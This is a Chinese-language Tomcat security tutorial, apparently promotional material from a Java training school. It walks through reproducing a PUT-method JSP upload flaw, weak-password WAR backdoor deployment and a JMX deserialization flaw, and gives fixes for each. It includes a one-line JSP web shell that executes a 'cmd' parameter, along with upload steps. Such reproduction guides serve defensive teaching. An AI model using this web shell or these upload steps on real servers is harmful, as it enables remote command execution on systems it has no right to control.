了解更多Tomcat,你可以關注“武漢千鋒”微信公眾號,定期發布技術文章和行業趨勢分析。你也可以來千鋒武漢Java培訓班進行系統的學習,專業大牛講師全程面授、以項目驅動教學過程和內容,讓你高效率學習、快速上崗就業!千鋒武漢Java培訓大牛講師全程面授,全新打造“主流技術+前沿技術+企業級聯動”教學課程,重新優化和定義JavaEE,采用最新版本技術開展教學,致力于為學員打造最牛的、最新的技術。嚴格的管理制度讓你在五個月的時間成功蛻變成為一名合格的Java開發工程師。并且,千鋒推出長達兩周的免費試聽期,讓你親身教學效果,評價講師的教學水平,了解學員的學習情況和就業情況!
Tomcat簡介
Tomcat 服務器是一個免費的開放源代碼的 Web 應用服務器,屬于輕量級應用服務器,在中小型系統和并發訪問用戶不是很多的場合下被普遍使用,是開發和調試 JSP 程序的首選。
對于一個初學者來說,可以這樣認為,當在一臺機器上配置好 Apache 服務器,可利用它響應 HTML(標準通用標記語言下的一個應用)頁面的訪問請求。實際上 Tomcat 是 Apache 服務器的擴展,但運行時它是獨立運行的,所以當運行 tomcat 時,它實際上作為一個與 Apache 獨立的進程單獨運行的。
2
遠程代碼執行
漏洞簡介及成因
Tomcat 運行在 Windows 主機上,且啟用了 HTTP PUT 請求方法,可通過構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件,造成任意代碼執行。
影響版本:Apache Tomcat 7.0.0 – 7.0.81
漏洞復現
配置漏洞,開啟put方法可上傳文件功能
tomcat文件夾下的/conf/web.xml文件插入
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
重啟tomcat服務
訪問127.0.0.1:8080,burp抓包,send to Repeater,將請求方式改為PUT,創建一個122.jsp,并用%20轉義空格字符。123.jsp內容為:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
返回201,說明創建成功
訪問127.0.0.1:8080/122.jsp?cmd=calc
彈出計算器
漏洞修復
1)檢測當前版本是否在影響范圍內,并禁用PUT方法。
2)更新并升級至最新版。
3
后臺弱口令war包部署
漏洞簡介及成因
Tomcat支持在后臺部署war文件,可以直接將webshell部署到web目錄下。
若后臺管理頁面存在弱口令,則可以通過爆破獲取密碼。
漏洞復現
Tomcat安裝目錄下conf里的tomcat-users.xml配置如下
訪問后臺,登陸
上傳一個war包,里面是jsp后門
成功上傳并解析,打開
可執行系統命令
也可進行文件管理,任意查看、刪除、上傳文件
漏洞修復
1)在系統上以低權限運行Tomcat應用程序。創建一個專門的 Tomcat服務用戶,該用戶只能擁有一組最小權限(例如不允許遠程登錄)。
2)增加對于本地和基于證書的身份驗證,部署賬戶鎖定機制(對于集中式認證,目錄服務也要做相應配置)。在CATALINA_HOME/conf/web.xml文件設置鎖定機制和時間超時限制。
3)以及針對manager-gui/manager-status/manager-script等目錄頁面設置最小權限訪問限制。
4)后臺管理避免弱口令。
4
反序列化漏洞
漏洞簡介及成因
該漏洞與之前Oracle發布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相關,是由于使用了JmxRemoteLifecycleListener的監聽功能所導致。而在Oracle官方發布修復后,Tomcat未能及時修復更新而導致 的遠程代碼執行。
該漏洞所造成的最根本原因是Tomcat在配置JMX做監控時使用了JmxRemoteLifecycleListener的方法。
漏洞影響版本:
ApacheTomcat 9.0.0.M1 到9.0.0.M11
ApacheTomcat 8.5.0 到8.5.6
ApacheTomcat 8.0.0.RC1 到8.0.38
ApacheTomcat 7.0.0 到7.0.72
ApacheTomcat 6.0.0 到6.0.47
漏洞復現
利用條件:外部需要開啟JmxRemoteLifecycleListener監聽的10001和10002端口,來實現遠程代碼執行。
conf/server.xml中第30行中配置啟用JmxRemoteLifecycleListener功能監聽的端口:
配置好jmx的端口后,在tomcat版本所對應的extras/目錄下來下載catalina-jmx-remote.jar以及下載groovy-2.3.9.jar兩個jar包。下載完成后放至在lib目錄下。
接著再去bin目錄下修改catalina.bat腳本。在ExecuteThe Requested Command注釋前面添加這么一行。
重啟tomcat,監聽本地的10001和10002的RMI服務端口是否成功運行。
構造payload,彈出計算器
成功彈出計算器。
漏洞修復
1、關閉JmxRemoteLifecycleListener功能,或者是對jmx JmxRemoteLifecycleListener遠程端口進行網絡訪問控制。同時,增加嚴格的認證方式。
2、根據官方去升級更新相對應的版本。
第59號 公眾賬號致力于為行內、外所有關注數據安全的
企業同仁搭建一個只分享專業資訊、熱點剖析、
行內大會的信息共享平臺。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。